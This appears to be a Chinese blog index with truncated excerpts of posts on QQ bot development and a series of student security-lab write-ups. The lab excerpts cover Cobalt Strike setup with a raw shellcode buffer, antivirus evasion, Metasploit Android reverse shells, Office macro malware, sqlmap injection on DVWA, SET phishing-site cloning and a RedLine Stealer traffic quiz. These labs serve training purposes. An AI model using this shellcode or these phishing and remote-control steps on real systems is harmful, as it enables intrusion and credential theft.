基于 Python 和 Onebot11 的QQ机器人开发——模块引用中环境变量的学习
先看一个例子
假设文件结构如下
1234567891011121314project/│├── app/│ ├── scripts/│ │ ├── GroupManager/│ │ │ ├── main.py│ │ │ ├── banned_words.py│ │ │ ├── group_status.py│ │ │ ├── invite_chain.py│ │ │ ├── welcome_farewell.py│ │ │ ├── group_management.py│ ├── api/│ ├── config.py
代码如下
12345678910111213141516171819202122# app/scripts/GroupManager/main.pyimport loggingimport reimport osimport syssys.path.append( os.path.dirname(os.path.dirname(os.path.dirname(os.path ...
基于 Python 和 Onebot11 的QQ机器人开发——群管系统
代码写完了,博客还没写
基于Python + OneBot 11的QQ机器人模块加载器的实现
源代码请看:W1ndys-bot/Module-Loader: 对接 OneBot 的 Python 模块加载器 (github.com)
对接 OneBot 的 Python 模块加载器
介绍及背景
Python 编写的模块加载器,使用 WebSocket 客户端模式对接上游服务,支持 OneBot 协议,如遇到问题请提 issue
本加载器不以插件的形式进行加载,而是以模块的形式进行加载。
这也就意味着,本加载器的功能增加,直接写代码即可,无需配置相关插件信息。
写这个加载器的原因是,了解到了 mf 师傅的插件式加载器,但我本人并不习惯这种方法,于是就写了这个模块式加载器,整个加载器的配置全部采用 Python 模块化编程,功能的开发模式完全基于原生 Onebot11。
有关插件式加载器的文档请参考:School-Robot/Plugin-Loader: 用于对接 OneBot 的 Python 插件加载器 (github.com)
加载器特色
模块化编程,易于维护
支持断线重连,无需手动重启
支持上线提醒(QQ),掉线提醒(钉钉)
支持 OneBot 11 标准,采用原生的 ...
基于 Python 和 Onebot11 的 QQ 机器人实现
开发背景
也是我与 QQbot 之间的羁绊吧,作者的一些碎碎念
久违了啊,老友,说不出的感觉涌上心头 😇
还记得那会是初中,忘了上几年级了,大概在 17 年左右认识了酷 Q,只能用别人的插件不会自己开发功能,学了一段时间苦于环境不会配置放弃了,后来 18,19 年左右认识了 QRspeed(-dic),基于关键词的词库程序,看着语法文档自己写出来一套(大概 4000 行左右吧)自己用的源码(严格来说应该叫词库称不上是源码),这是我第一次自己写自己想要的功能。但苦于 qrspeed 词库算不上真正的编程语言,所以一直拿不出手。后来因为寄宿学校,版本更新很快,逐渐跟不上了语法的变化了。
后来,晨风机器人作者喝茶,酷 Q 关站,qrspeed 也停运,受 tx 打压 QQ 机器人几乎死路一条。高中了解到 nonebot2,环境不会搭,放弃了上大学之后了解到 mirai,这是我第三个用了很久一段时间的机器人框架,可惜的是,我认识他的时候他就已经到寒冬了,随处可见的 code = 45,封过 n 次的 QQ 号…不过我依旧想自己开发自己想要的功能,由于 mirai 基于 kotlin,学了 ...
网络安全实训11——Pyinstaller打包逆向分析火绒免杀
cs shellcode
打开
1java -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar
查看生成的 payload
123# length: 894 bytesbuf = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42 ...
网络安全实训10——Kali远程控制Android系统
查看 Metasploit 工具中可以在 Android 系统下使用的 payload 类型
这些 payload 可以作为我们后面攻击的软件的生成工具
端口映射问题
如果我们的手机与使用的计算机处在同一局域网,但是虚拟机使用的是 NAT 模式。那么只有我们使用的计算机才可以访问到该虚拟机,其他设备都是无法访问该虚拟机的。那么就需要端口映射了
假设计算机的 IP 为(192.168.1.100)。Android 手机的 IP 为(192.168.1.*)。虚拟机的 IP 为(192.168.169.130):
第一步:打开 VMware 虚拟机网络编辑器
第二步:设置端口的映射(设置之后,凡是发往计算机 9999 端口的流量都会转发到虚拟机的 9999 端口上,这样虚拟机就能够接收到 Android 的连接了)
远程控制 Android 手机演示
本案例中,Linux 采用桥接模式,与 Android 手机连接在同一局域网中
使用 msfvenom 命令生成被控端 payload
第一步:下面我以“android/meterpreter/reverse ...
网络安全实训9——Office宏病毒
下载 CS
我这里之前网络安全协会讲座测试环境的时候装过一次汉化版,考虑到实验环境,再下个老师给的 CS
运行服务端
12345678给予服务端程序 teamserver 执行权限(在 linux 中复制进来的文件默认是没有执行权限的)chmod +x teamserver # 可以查看 kali 的 IP 地址(可选)ifconfig eth0 # # 运行服务端程序,192.168.0.104 是本机 IP,user 是要设置的连接密码(可改)./teamserver 192.168.0.104 user
报错了,搜了一下,配置 java 环境变量:java 安装常见问题之 Kali 永久配置环境变量_kali 环境变量-CSDN 博客
好吧还是不行,用我之前的版本的
新建配置文件,连接 CS 服务器
1java -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstri ...
网络安全实训8——Wireshark抓取QQ图片
抓包
我是 png 文件,搜索 8950
找到十六进制字符
继续跟进
删除多余数据
查看图片
可以看到已经抓取成功了,由于 QQ 压缩机制导致图片丢失内容过多
原因与纠错
测试发现从本机向其他人发送的图片会被切割,现在从手机端发给我的电脑
再次抓包发现得到了全部的内容没有被切割。
删除多余数据
保存查看
网络安全实训7——MD5加盐
加密 exp
12345678910111213141516171819202122232425262728293031323334353637383940414243import hashlibimport osdef generate_salt(length=16): """生成指定长度的盐值""" return os.urandom(length)def md5_hash_with_salt(input_string, salt=None): """计算带盐值的MD5哈希""" if salt is None: salt = generate_salt() hasher = hashlib.md5() # 将输入字符串与盐值结合 hasher.update(input_string.encode("utf-8") + salt) # 获取哈希值 hash_value = ha ...
网络安全实训6——SQL注入
网络安全实训 6——SQL 注入
安装环境
知新平台的文档图片无法加载
查看源码发现是外部引用,尝试恢复
恢复成功
开启 OWASP 靶机和 Kali 虚拟机
登录 dvwa
安全等级调 low
进入 SQL Injection(Blind)页面
随意输入一个数字,然后点击提交
安装 SQLmap
我用的是裸机当攻击机,所以安装个 SQLmap
用 F12 打开开发者工具
选中 Storage(存储)选项卡,找到 cookies,复制其中 PHPSESSID 的值(获取 cookies)
得到 59mb9spqvkd9cuk543thagtsd5
由于浏览器提交方式为 get 型,sqlmap 采用-u 命令。将刚才复制的 URL 和 COOKIE 写入命令
出错了,查看 Github 的 README 发现是需要前面加 python 运行
找到注入点
为了查看有哪些数据库,输入命令:
python sqlmap.py -u "http://192.168.189.134/dvwa/vulnerabilities/sqli_blind/?id=1&am ...
网络安全实训5——扩展访问控制列表
拓扑图
配置 PC0
配置 server0
配置路由器
ping测试
配置router1
ping测试
Crossing the Line Unit 42 Wireshark Quiz for RedLine Stealer
Crossing the Line Unit 42 Wireshark Quiz for RedLine Stealer
Quiz Questions
What is the date and time in UTC the infection started?
感染开始的 UTC 日期和时间是什么时候?
感染于 2023 年 7 月 10 日 22:39 UTC 开始。
What is the IP address of the infected Windows client?
受感染的 Windows 客户端的 IP 地址是什么?
受感染的 Windows 客户端 IP 地址:10.7.10 [.] 47
What is the MAC address of the infected Windows client?
受感染的 Windows 客户端的 MAC 地址是什么?
受感染的 Windows 客户端 MAC 地址:80:86:5b:ab:1e:c4
What is the hostname of the infected Windows client?
受感染的 ...
网络安全实训4——克隆网站
Web 站点克隆钓鱼
启动 SET
选择模块
Payload 选择
Payload 设置
返回数据
不知道为啥返回的是 HTML 源码,但是后台可以看到数据
把这段源码保存到本地打开就是登录界面